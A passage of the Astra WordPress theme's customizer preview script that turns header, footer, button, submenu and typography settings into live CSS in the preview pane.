astra_add_dynamic_css( 'button-radius', dynamicStyle );
} );
} );
/**
* Header Bottom Border width
*/
wp.customize( 'astra-settings[header-main-sep]', function( value ) {
value.bind( function( border ) {
var dynamicStyle = ' body.ast-header-break-point .main-header-bar { border-bottom-width: ' + border + 'px } ';
dynamicStyle += '.ast-desktop .main-header-bar {';
dynamicStyle += 'border-bottom-width: ' + border + 'px';
dynamicStyle += '}';
astra_add_dynamic_css( 'header-main-sep', dynamicStyle );
} );
} );
/**
* Header Bottom Border color
*/
wp.customize( 'astra-settings[header-main-sep-color]', function( value ) {
value.bind( function( color ) {
if (color == '') {
wp.customize.preview.send( 'refresh' );
}
if ( color ) {
var dynamicStyle = ' .ast-desktop .main-header-bar { border-bottom-color: ' + color + '; } ';
dynamicStyle += ' body.ast-header-break-point .main-header-bar { border-bottom-color: ' + color + '; } ';
astra_add_dynamic_css( 'header-main-sep-color', dynamicStyle );
}
} );
} );
/**
* Primary Toggle Button Color
*/
wp.customize( 'astra-settings[mobile-header-toggle-btn-style-color]', function( setting ) {
setting.bind( function( toggle_button_color ) {
if ( toggle_button_color != '' ) {
if( jQuery( '.menu-toggle' ).hasClass( 'ast-mobile-menu-buttons-fill' ) ) {
var dynamicStyle = '.ast-header-break-point .ast-mobile-menu-buttons-fill.menu-toggle { background: ' + toggle_button_color + '}';
}
else if( jQuery( '.menu-toggle' ).hasClass( 'ast-mobile-menu-buttons-outline' ) ) {
var dynamicStyle = '.ast-header-break-point .ast-mobile-menu-buttons-outline.menu-toggle { border: 1px solid ' + toggle_button_color + '; color: ' + toggle_button_color + '}';
}
else {
var dynamicStyle = '.ast-header-break-point .ast-mobile-menu-buttons-minimal.menu-toggle { color: ' + toggle_button_color + '}';
}
astra_add_dynamic_css( 'primary-toggle-button-color', dynamicStyle );
}
else{
wp.customize.preview.send( 'refresh' );
}
});
});
astra_responsive_font_size( 'astra-settings[font-size-site-tagline]', '.site-header .site-description' );
astra_responsive_font_size( 'astra-settings[font-size-site-title]', '.site-title' );
astra_responsive_font_size( 'astra-settings[font-size-entry-title]', '.ast-single-post .entry-title, .page-title' );
astra_responsive_font_size( 'astra-settings[font-size-archive-summary-title]', '.ast-archive-description .ast-archive-title' );
astra_responsive_font_size( 'astra-settings[font-size-page-title]', 'body:not(.ast-single-post) .entry-title' );
// Check if anchors should be loaded in the CSS for headings.
if (true == astraCustomizer.includeAnchorsInHeadindsCss) {
astra_responsive_font_size('astra-settings[font-size-h1]', 'h1, .entry-content h1, .entry-content h1 a');
astra_responsive_font_size('astra-settings[font-size-h2]', 'h2, .entry-content h2, .entry-content h2 a');
astra_responsive_font_size('astra-settings[font-size-h3]', 'h3, .entry-content h3, .entry-content h3 a');
astra_responsive_font_size('astra-settings[font-size-h4]', 'h4, .entry-content h4, .entry-content h4 a');
astra_responsive_font_size('astra-settings[font-size-h5]', 'h5, .entry-content h5, .entry-content h5 a');
astra_responsive_font_size('astra-settings[font-size-h6]', 'h6, .entry-content h6, .entry-content h6 a');
} else {
astra_responsive_font_size('astra-settings[font-size-h1]', 'h1, .entry-content h1');
astra_responsive_font_size('astra-settings[font-size-h2]', 'h2, .entry-content h2');
astra_responsive_font_size('astra-settings[font-size-h3]', 'h3, .entry-content h3');
astra_responsive_font_size('astra-settings[font-size-h4]', 'h4, .entry-content h4');
astra_responsive_font_size('astra-settings[font-size-h5]', 'h5, .entry-content h5');
astra_responsive_font_size('astra-settings[font-size-h6]', 'h6, .entry-content h6');
}
// paragraph margin bottom.
wp.customize( 'astra-settings[para-margin-bottom]', function( value ) {
value.bind( function( marginBottom ) {
if ( marginBottom == '' ) {
wp.customize.preview.send( 'refresh' );
}
if ( marginBottom ) {
var dynamicStyle = ' p, .entry-content p { margin-bottom: ' + marginBottom + 'em; } ';
astra_add_dynamic_css( 'para-margin-bottom', dynamicStyle );
}
} );
} );
// Add preview underline in customizer for content links.
wp.customize( 'astra-settings[underline-content-links]', function( setting ) {
setting.bind( function( value ) {
var dynamicStyle = '';
if ( value ) {
dynamicStyle = '.ast-single-post .entry-content a, .ast-comment-content a:not(.ast-comment-edit-reply-wrap a) { text-decoration: underline; } ';
astra_add_dynamic_css( 'underline-content-links', dynamicStyle );
} else {
dynamicStyle = '.ast-single-post .entry-content a, .ast-comment-content a:not(.ast-comment-edit-reply-wrap a) { text-decoration: unset; } ';
astra_add_dynamic_css( 'underline-content-links', dynamicStyle );
}
} );
} );
if ( astraCustomizer.page_builder_button_style_css ) {
if (true == astraCustomizer.includeAnchorsInHeadindsCss) {
if ( 'color-typo' == astraCustomizer.elementor_default_color_font_setting || 'typo' == astraCustomizer.elementor_default_color_font_setting ) {
astra_css('astra-settings[headings-line-height]', 'line-height', '.elementor-widget-heading h1.elementor-heading-title, .elementor-widget-heading h2.elementor-heading-title, .elementor-widget-heading h3.elementor-heading-title, .elementor-widget-heading h4.elementor-heading-title, .elementor-widget-heading h5.elementor-heading-title, .elementor-widget-heading h6.elementor-heading-title');
}
astra_css('astra-settings[headings-line-height]', 'line-height', 'h1, .entry-content h1, .entry-content h1 a, h2, .entry-content h2, .entry-content h2 a, h3, .entry-content h3, .entry-content h3 a, h4, .entry-content h4, .entry-content h4 a, h5, .entry-content h5, .entry-content h5 a, h6, .entry-content h6, .entry-content h6 a, .site-title, .site-title a');
} else {
if ( 'color-typo' == astraCustomizer.elementor_default_color_font_setting || 'typo' == astraCustomizer.elementor_default_color_font_setting ) {
astra_css('astra-settings[headings-line-height]', 'line-height', '.elementor-widget-heading h1.elementor-heading-title, .elementor-widget-heading h2.elementor-heading-title, .elementor-widget-heading h3.elementor-heading-title, .elementor-widget-heading h4.elementor-heading-title, .elementor-widget-heading h5.elementor-heading-title, .elementor-widget-heading h6.elementor-heading-title');
}
astra_css('astra-settings[headings-line-height]', 'line-height', 'h1, .entry-content h1, h2, .entry-content h2, h3, .entry-content h3, h4, .entry-content h4, h5, .entry-content h5, h6, .entry-content h6, .site-title, .site-title a');
}
} else {
if (true == astraCustomizer.includeAnchorsInHeadindsCss) {
astra_css('astra-settings[headings-line-height]', 'line-height', 'h1, .entry-content h1, .entry-content h1 a, h2, .entry-content h2, .entry-content h2 a, h3, .entry-content h3, .entry-content h3 a, h4, .entry-content h4, .entry-content h4 a, h5, .entry-content h5, .entry-content h5 a, h6, .entry-content h6, .entry-content h6 a, .site-title, .site-title a');
} else {
astra_css('astra-settings[headings-line-height]', 'line-height', 'h1, .entry-content h1, h2, .entry-content h2, h3, .entry-content h3, h4, .entry-content h4, h5, .entry-content h5, h6, .entry-content h6, .site-title, .site-title a');
}
}
// Check if anchors should be loaded in the CSS for headings.
if (true == astraCustomizer.includeAnchorsInHeadindsCss) {
astra_generate_outside_font_family_css('astra-settings[headings-font-family]', 'h1, .entry-content h1, .entry-content h1 a, h2, .entry-content h2, .entry-content h2 a, h3, .entry-content h3, .entry-content h3 a, h4, .entry-content h4, .entry-content h4 a, h5, .entry-content h5, .entry-content h5 a, h6, .entry-content h6, .entry-content h6 a, .site-title, .site-title a');
astra_generate_font_weight_css( 'astra-settings[headings-font-family]', 'astra-settings[headings-font-weight]', 'font-weight', 'h1, .entry-content h1, .entry-content h1 a, h2, .entry-content h2, .entry-content h2 a, h3, .entry-content h3, .entry-content h3 a, h4, .entry-content h4, .entry-content h4 a, h5, .entry-content h5, .entry-content h5 a, h6, .entry-content h6, .entry-content h6 a, .site-title, .site-title a' );
astra_css('astra-settings[headings-text-transform]', 'text-transform', 'h1, .entry-content h1, .entry-content h1 a, h2, .entry-content h2, .entry-content h2 a, h3, .entry-content h3, .entry-content h3 a, h4, .entry-content h4, .entry-content h4 a, h5, .entry-content h5, .entry-content h5 a, h6, .entry-content h6, .entry-content h6 a, .site-title, .site-title a');
} else {
astra_generate_outside_font_family_css('astra-settings[headings-font-family]', 'h1, .entry-content h1, h2, .entry-content h2, h3, .entry-content h3, h4, .entry-content h4, h5, .entry-content h5, h6, .entry-content h6, .site-title, .site-title a');
astra_generate_font_weight_css( 'astra-settings[headings-font-family]', 'astra-settings[headings-font-weight]', 'font-weight', 'h1, .entry-content h1, h2, .entry-content h2, h3, .entry-content h3, h4, .entry-content h4, h5, .entry-content h5, h6, .entry-content h6, .site-title, .site-title a' );
astra_css('astra-settings[headings-text-transform]', 'text-transform', 'h1, .entry-content h1, h2, .entry-content h2, h3, .entry-content h3, h4, .entry-content h4, h5, .entry-content h5, h6, .entry-content h6, .site-title, .site-title a');
}
// Footer Bar.
astra_css( 'astra-settings[footer-color]', 'color', '.ast-small-footer' );
astra_css( 'astra-settings[footer-link-color]', 'color', '.ast-small-footer a' );
astra_css( 'astra-settings[footer-link-h-color]', 'color', '.ast-small-footer a:hover' );
// Footer Bar background.
wp.customize( 'astra-settings[footer-bg-obj]', function( value ) {
value.bind( function( bg_obj ) {
var dynamicStyle = ' .ast-small-footer > .ast-footer-overlay { {{css}} }';
astra_background_obj_css( wp.customize, bg_obj, 'footer-bg-obj', dynamicStyle );
} );
} );
// Footer Widgets.
astra_css( 'astra-settings[footer-adv-wgt-title-color]', 'color', '.footer-adv .widget-title, .footer-adv .widget-title a' );
astra_css( 'astra-settings[footer-adv-text-color]', 'color', '.footer-adv' );
astra_css( 'astra-settings[footer-adv-link-color]', 'color', '.footer-adv a' );
astra_css( 'astra-settings[footer-adv-link-h-color]', 'color', '.footer-adv a:hover, .footer-adv .no-widget-text a:hover, .footer-adv a:focus, .footer-adv .no-widget-text a:focus' );
// Footer Widget background.
wp.customize( 'astra-settings[footer-adv-bg-obj]', function( value ) {
value.bind( function( bg_obj ) {
var dynamicStyle = ' .footer-adv-overlay { {{css}} }';
astra_background_obj_css( wp.customize, bg_obj, 'footer-adv-bg-obj', dynamicStyle );
} );
} );
/*
* Woocommerce Shop Archive Custom Width
*/
wp.customize( 'astra-settings[shop-archive-max-width]', function( setting ) {
setting.bind( function( width ) {
var dynamicStyle = '@media all and ( min-width: 921px ) {';
dynamicStyle += '.ast-woo-shop-archive .site-content > .ast-container{ max-width: ' + ( parseInt( width ) ) + 'px } ';
if ( jQuery( 'body' ).hasClass( 'ast-fluid-width-layout' ) ) {
dynamicStyle += '.ast-woo-shop-archive .site-content > .ast-container{ padding-left:20px; padding-right:20px; } ';
}
dynamicStyle += '}';
astra_add_dynamic_css( 'shop-archive-max-width', dynamicStyle );
} );
} );
//[1] Primary Menu Toggle Button Style.
wp.customize( 'astra-settings[mobile-header-toggle-btn-style]', function( setting ) {
setting.bind( function( icon_style ) {
var icon_color = wp.customize('astra-settings[mobile-header-toggle-btn-color]').get();
if ( '' === icon_color && 'fill' === icon_style ) {
var dynamicStyle = ' [data-section="section-header-mobile-trigger"] .ast-button-wrap .mobile-menu-toggle-icon .ast-mobile-svg { fill: #ffffff; } ';
astra_add_dynamic_css( 'mobile-header-toggle-btn-style', dynamicStyle );
} else {
astra_add_dynamic_css( 'mobile-header-toggle-btn-style', '' );
}
var buttons = $(document).find('.ast-mobile-menu-buttons .menu-toggle');
buttons.removeClass('ast-mobile-menu-buttons-default ast-mobile-menu-buttons-fill ast-mobile-menu-buttons-outline');
buttons.removeClass('ast-mobile-menu-buttons-default ast-mobile-menu-buttons-fill ast-mobile-menu-buttons-minimal');
buttons.addClass( 'ast-mobile-menu-buttons-' + icon_style );
var themeColor = wp.customize( 'astra-settings[theme-color]' ).get();
var defaultColor = '#ffffff';
var toggleButtonColor = wp.customize( 'astra-settings[mobile-header-toggle-btn-color]' ).get();
if ( 'fill' !== icon_style ) {
defaultColor = themeColor
}
var iconColor = defaultColor;
if ( '' !== toggleButtonColor && undefined !== toggleButtonColor && null !== toggleButtonColor ) {
iconColor = toggleButtonColor
}
var dynamicStyle = '[data-section="section-header-mobile-trigger"] .ast-button-wrap .mobile-menu-toggle-icon .ast-mobile-svg {';
dynamicStyle += 'fill: ' + iconColor + ';';
dynamicStyle +='}';
dynamicStyle += '[data-section="section-header-mobile-trigger"] .ast-button-wrap .mobile-menu-wrap .mobile-menu {';
dynamicStyle += 'color: ' + iconColor + ';';
dynamicStyle +='}';
dynamicStyle += '[data-section="section-header-mobile-trigger"] .ast-button-wrap .ast-mobile-menu-trigger-fill, [data-section="section-header-mobile-trigger"] .ast-button-wrap .ast-mobile-menu-trigger-minimal {';
dynamicStyle += 'color: ' + iconColor + ';';
dynamicStyle += 'border: none;';
dynamicStyle +='}';
dynamicStyle += '[data-section="section-header-mobile-trigger"] .ast-button-wrap .ast-mobile-menu-trigger-outline {';
dynamicStyle += 'color: ' + iconColor + ';';
dynamicStyle +='}';
;
astra_add_dynamic_css( 'mobile-header-toggle-btn-style', dynamicStyle );
} );
} );
//[1] Toggle Button Border Radius.
wp.customize( 'astra-settings[mobile-header-toggle-btn-border-radius]', function( setting ) {
setting.bind( function( border ) {
var dynamicStyle = '.ast-header-break-point .main-header-bar .ast-button-wrap .menu-toggle { border-radius: ' + ( parseInt( border ) ) + 'px } ';
astra_add_dynamic_css( 'mobile-header-toggle-btn-border-radius', dynamicStyle );
} );
} );
/**
* Primary Submenu border
*/
wp.customize( 'astra-settings[primary-submenu-border]', function( value ) {
value.bind( function( border ) {
var color = wp.customize( 'astra-settings[primary-submenu-b-color]' ).get();
if( '' != border.top || '' != border.right || '' != border.bottom || '' != border.left ) {
var dynamicStyle = '.ast-desktop .main-header-menu.submenu-with-border .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'border-top-width:' + border.top + 'px;';
dynamicStyle += 'border-right-width:' + border.right + 'px;';
dynamicStyle += 'border-left-width:' + border.left + 'px;';
dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;';
dynamicStyle += 'border-color:' + color + ';';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
dynamicStyle += '.ast-desktop .main-header-menu.submenu-with-border .sub-menu .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'top:-' + border.top + 'px;';
dynamicStyle += '}';
// Submenu items goes outside?
dynamicStyle += '@media (min-width: 769px){';
dynamicStyle += '.main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu:hover > .sub-menu, .main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu.focus > .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'margin-left:-' + ( +border.left + +border.right ) + 'px;';
dynamicStyle += '}';
dynamicStyle += '}';
astra_add_dynamic_css( 'primary-submenu-border', dynamicStyle );
} else {
wp.customize.preview.send( 'refresh' );
}
} );
} );
/**
* Primary Submenu border COlor
*/
wp.customize( 'astra-settings[primary-submenu-b-color]', function( value ) {
value.bind( function( color ) {
var border = wp.customize( 'astra-settings[primary-submenu-border]' ).get();
if ( '' != color ) {
if( '' != border.top || '' != border.right || '' != border.bottom || '' != border.left ) {
var dynamicStyle = '.ast-desktop .main-header-menu.submenu-with-border .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'border-top-width:' + border.top + 'px;';
dynamicStyle += 'border-right-width:' + border.right + 'px;';
dynamicStyle += 'border-left-width:' + border.left + 'px;';
dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;';
dynamicStyle += 'border-color:' + color + ';';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
dynamicStyle += '.ast-desktop .main-header-menu.submenu-with-border .sub-menu .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'top:-' + border.top + 'px;';
dynamicStyle += '}';
// Submenu items goes outside?
dynamicStyle += '@media (min-width: 769px){';
dynamicStyle += '.main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu:hover > .sub-menu, .main-header-menu .sub-menu .menu-item.ast-left-align-sub-menu.focus > .sub-menu';
dynamicStyle += '{';
dynamicStyle += 'margin-left:-' + ( +border.left + +border.right ) + 'px;';
dynamicStyle += '}';
dynamicStyle += '}';
astra_add_dynamic_css( 'primary-submenu-border-color', dynamicStyle );
}
} else {
wp.customize.preview.send( 'refresh' );
}
} );
} );
/**
* Primary Submenu border COlor
*/
wp.customize('astra-settings[primary-submenu-item-b-color]', function (value) {
value.bind(function (color) {
var insideBorder = wp.customize('astra-settings[primary-submenu-item-border]').get();
if ('' != color) {
if ( true == insideBorder ) {
var dynamicStyle = '';
dynamicStyle += '.ast-desktop .main-header-menu.submenu-with-border .sub-menu .menu-link';
dynamicStyle += '{';
dynamicStyle += 'border-bottom-width:' + ( ( true === insideBorder ) ? '1px;' : '0px;' );
dynamicStyle += 'border-color:' + color + ';';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
astra_add_dynamic_css('primary-submenu-item-b-color', dynamicStyle);
}
} else {
wp.customize.preview.send('refresh');
}
});
});
/**
* Primary Submenu border COlor
*/
wp.customize( 'astra-settings[primary-submenu-item-border]', function( value ) {
value.bind( function( border ) {
var color = wp.customize( 'astra-settings[primary-submenu-item-b-color]' ).get();
if( true === border ) {
var dynamicStyle = '.ast-desktop .main-header-menu.submenu-with-border .sub-menu .menu-link';
dynamicStyle += '{';
dynamicStyle += 'border-bottom-width:' + ( ( true === border ) ? '1px;' : '0px;' );
dynamicStyle += 'border-color:' + color + ';';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
astra_add_dynamic_css( 'primary-submenu-item-border', dynamicStyle );
} else {
wp.customize.preview.send( 'refresh' );
}
} );
} );
astra_css( 'astra-settings[header-main-rt-section-button-text-color]', 'color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[header-main-rt-section-button-back-color]', 'background-color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[header-main-rt-section-button-text-h-color]', 'color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button:hover' );
astra_css( 'astra-settings[header-main-rt-section-button-back-h-color]', 'background-color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button:hover' );
astra_css( 'astra-settings[header-main-rt-section-button-border-radius]', 'border-radius', '.main-header-bar .ast-container .button-custom-menu-item .ast-custom-button-link .ast-custom-button', 'px' );
astra_css( 'astra-settings[header-main-rt-section-button-border-color]', 'border-color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[header-main-rt-section-button-border-h-color]', 'border-color', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button:hover' );
astra_responsive_spacing( 'astra-settings[header-main-rt-section-button-padding]','.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button', 'padding', ['top', 'right', 'bottom', 'left' ] );
// Header custom button - Typography preview stylings.
astra_generate_outside_font_family_css( 'astra-settings[primary-header-button-font-family]', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_responsive_font_size( 'astra-settings[primary-header-button-font-size]', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[primary-header-button-font-weight]', 'font-weight', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[primary-header-button-line-height]', 'line-height', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[primary-header-button-text-transform]', 'text-transform', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button' );
astra_css( 'astra-settings[primary-header-button-letter-spacing]', 'letter-spacing', '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button, .ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button', 'px' );
/**
* Custom Button border
*/
wp.customize( 'astra-settings[header-main-rt-section-button-border-size]', function( value ) {
value.bind( function( border ) {
if( '' != border.top || '' != border.right || '' != border.bottom || '' != border.left ) {
var dynamicStyle = '.main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button';
dynamicStyle += '{';
dynamicStyle += 'border-top-width:' + border.top + 'px;';
dynamicStyle += 'border-right-width:' + border.right + 'px;';
dynamicStyle += 'border-left-width:' + border.left + 'px;';
dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
astra_add_dynamic_css( 'header-main-rt-section-button-border-size', dynamicStyle );
}
} );
} );
var ele_border_radius_selector = '';
var ele_border_width_selector = '';
var ele_padding_selector = '';
if ( astraCustomizer.page_builder_button_style_css ) {
if ( 'color-typo' == astraCustomizer.elementor_default_color_font_setting || 'color' == astraCustomizer.elementor_default_color_font_setting || 'font' == astraCustomizer.elementor_default_color_font_setting ) {
ele_border_radius_selector = ', .elementor-button-wrapper .elementor-button.elementor-size-sm, .elementor-button-wrapper .elementor-button.elementor-size-xs, .elementor-button-wrapper .elementor-button.elementor-size-md, .elementor-button-wrapper .elementor-button.elementor-size-lg, .elementor-button-wrapper .elementor-button.elementor-size-xl, .elementor-button-wrapper .elementor-button';
ele_border_width_selector = ', .elementor-button-wrapper .elementor-button, .elementor-button-wrapper .elementor-button:visited';
ele_padding_selector = ', .elementor-button-wrapper .elementor-button.elementor-size-sm, .elementor-button-wrapper .elementor-button.elementor-size-xs, .elementor-button-wrapper .elementor-button.elementor-size-md, .elementor-button-wrapper .elementor-button.elementor-size-lg, .elementor-button-wrapper .elementor-button.elementor-size-xl, .elementor-button-wrapper .elementor-button';
}
}
astra_css( 'astra-settings[button-radius]', 'border-radius', '.menu-toggle, button, .ast-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"]' + ele_border_radius_selector, 'px' );
/**
* Button border
*/
wp.customize( 'astra-settings[theme-button-border-group-border-size]', function( value ) {
value.bind( function( border ) {
var search_button_selector = hasWordPressWidgetBlockEditor() ? ', form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button' : '' ;
var dynamicStyle = '.menu-toggle, button, .ast-button, .ast-custom-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"], .wp-block-button .wp-block-button__link' + ele_border_width_selector + search_button_selector;
if( '' != border.top || '' != border.right || '' != border.bottom || '' != border.left ) {
if( astraCustomizer.gb_outline_buttons_patterns_support && ! astraCustomizer.updated_gb_outline_button_patterns ) {
wp.customize.preview.send( 'refresh' );
} else {
dynamicStyle += '{';
dynamicStyle += 'border-top-width:' + border.top + 'px;';
dynamicStyle += 'border-right-width:' + border.right + 'px;';
dynamicStyle += 'border-left-width:' + border.left + 'px;';
dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
astra_add_dynamic_css( 'theme-button-border-group-border-size', dynamicStyle );
}
} else {
if( astraCustomizer.gb_outline_buttons_patterns_support && ! astraCustomizer.updated_gb_outline_button_patterns ) {
wp.customize.preview.send( 'refresh' );
} else {
dynamicStyle += '{';
dynamicStyle += 'border-top-width: 0;';
dynamicStyle += 'border-right-width: 0;';
dynamicStyle += 'border-left-width: 0;';
dynamicStyle += 'border-bottom-width: 0;';
dynamicStyle += '}';
astra_add_dynamic_css( 'theme-button-border-group-border-size', dynamicStyle );
}
}
} );
} );
var search_button_selector = hasWordPressWidgetBlockEditor() ? ', form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button' : '' ;
astra_responsive_spacing( 'astra-settings[theme-button-padding]','.menu-toggle, button, .ast-button, .ast-custom-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"], .woocommerce a.button, .woocommerce button.button, .woocommerce .product a.button, .woocommerce .woocommerce-message a.button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce input.button,.woocommerce input.button:disabled, .woocommerce input.button:disabled[disabled], .wp-block-button .wp-block-button__link' + ele_padding_selector + search_button_selector, 'padding', [ 'top', 'bottom' ] );
astra_responsive_spacing( 'astra-settings[theme-button-padding]','.menu-toggle, button, .ast-button, .ast-custom-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"], .woocommerce a.button, .woocommerce button.button, .woocommerce .product a.button, .woocommerce .woocommerce-message a.button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce input.button,.woocommerce input.button:disabled, .woocommerce input.button:disabled[disabled], .wp-block-button .wp-block-button__link' + ele_padding_selector + search_button_selector, 'padding', [ 'left', 'right' ] );
/**
* Button border
*/
wp.customize( 'astra-settings[transparent-header-button-border-group]', function( value ) {
value.bind( function( value ) {
var optionValue = JSON.parse(value);
var border = optionValue['header-main-rt-trans-section-button-border-size'];
if( '' != border.top || '' != border.right || '' != border.bottom || '' != border.left ) {
var dynamicStyle = '.ast-theme-transparent-header .main-header-bar .button-custom-menu-item .ast-custom-button-link .ast-custom-button';
dynamicStyle += '{';
dynamicStyle += 'border-top-width:' + border.top + 'px;';
dynamicStyle += 'border-right-width:' + border.right + 'px;';
dynamicStyle += 'border-left-width:' + border.left + 'px;';
dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;';
dynamicStyle += 'border-style: solid;';
dynamicStyle += '}';
astra_add_dynamic_css( 'header-main-rt-trans-section-button-border-size', dynamicStyle );
}
} );
} );
// Site Title - Font family
astra_generate_outside_font_family_css( 'astra-settings[font-family-site-title]', '.site-title, .site-title a' );
// Site Title - Font Weight
astra_generate_font_weight_css( 'astra-settings[font-family-site-title]', 'astra-settings[font-weight-site-title]', 'font-weight', '.site-title, .site-title a' );
// Site Title - Font Size
astra_responsive_font_size( 'astra-settings[font-size-site-title]', '.site-title, .site-title a' );
// Site Title - Line Height
astra_css( 'astra-settings[line-height-site-title]', 'line-height', '.site-title, .site-title a' );
// Site Title - Text Transform
astra_css( 'astra-settings[text-transform-site-title]', 'text-transform', '.site-title, .site-title a' );
// Site tagline - Font family
astra_generate_outside_font_family_css( 'astra-settings[font-family-site-tagline]', '.site-header .site-description' );
// Site Tagline - Font Weight
astra_generate_font_weight_css( 'astra-settings[font-family-site-tagline]', 'astra-settings[font-weight-site-tagline]', 'font-weight', '.site-header .site-description' );
// Site Tagline - Font Size
astra_responsive_font_size( 'astra-settings[font-size-site-tagline]', '.site-header .site-description' );
// Site Tagline - Line Height
astra_css( 'astra-settings[line-height-site-tagline]', 'line-height', '.site-header .site-description' );
// Site Tagline - Text Transform
astra_css( 'astra-settings[text-transform-site-tagline]', 'text-transform', '.site-header .site-description' );
var search_button_selector = hasWordPressWidgetBlockEditor() ? ', form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button' : '' ;
var search_button_hover_selector = hasWordPressWidgetBlockEditor() ? ', form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button:hover, form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button:focus' : '' ;
if ( astraCustomizer.page_builder_button_style_css ) {
var btn_color_ele = '';
var btn_bg_color_ele = '';
var btn_h_color_ele = '';
var btn_bg_h_color_ele = '';
var btn_border_color_ele = '';
var btn_border_h_color_ele = '';
if ( 'color-typo' == astraCustomizer.elementor_default_color_font_setting || 'color' == astraCustomizer.elementor_default_color_font_setting ) {
// Theme Button - Text Color
btn_color_ele = ',.elementor-button-wrapper .elementor-button, .elementor-button-wrapper .elementor-button:visited';
// Theme Button - Background Color
btn_bg_color_ele = ',.elementor-button-wrapper .elementor-button, .elementor-button-wrapper .elementor-button:visited';
// Theme Button - Text Hover Color
btn_h_color_ele = ',.elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus';
// Theme Button - Background Hover Color
btn_bg_h_color_ele = ',.elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus';
// Theme Button - Border Color
btn_border_color_ele = ', .elementor-button-wrapper .elementor-button, .elementor-button-wrapper .elementor-button:visited';
// Theme Button - Border Hover Color
btn_border_h_color_ele = ',.elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus';
}
var btnSelector = '.menu-toggle, button, .ast-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"], .wp-block-button .wp-block-button__link, .ast-custom-button' + btn_bg_color_ele + search_button_selector;
astraHandleButtonPresetPreview( btnSelector );
// Theme Button - Text Hover Color
astra_css( 'astra-settings[button-h-color]', 'color', 'button:focus, .menu-toggle:hover, button:hover, .ast-button:hover, .button:hover, input[type=reset]:hover, input[type=reset]:focus, input#submit:hover, input#submit:focus, input[type="button"]:hover, input[type="button"]:focus, input[type="submit"]:hover, input[type="submit"]:focus, .wp-block-button .wp-block-button__link:hover, .wp-block-button .wp-block-button__link:focus, .ast-custom-button:hover, .ast-custom-button:focus' + btn_h_color_ele + search_button_hover_selector );
// Theme Button - Background Hover Color
astra_css( 'astra-settings[button-bg-h-color]', 'background-color', 'button:focus, .menu-toggle:hover, button:hover, .ast-button:hover, .button:hover, input[type=reset]:hover, input[type=reset]:focus, input#submit:hover, input#submit:focus, input[type="button"]:hover, input[type="button"]:focus, input[type="submit"]:hover, input[type="submit"]:focus, .wp-block-button .wp-block-button__link:hover, .wp-block-button .wp-block-button__link:focus, .ast-custom-button:hover, .ast-custom-button:focus' + btn_bg_h_color_ele + search_button_hover_selector );
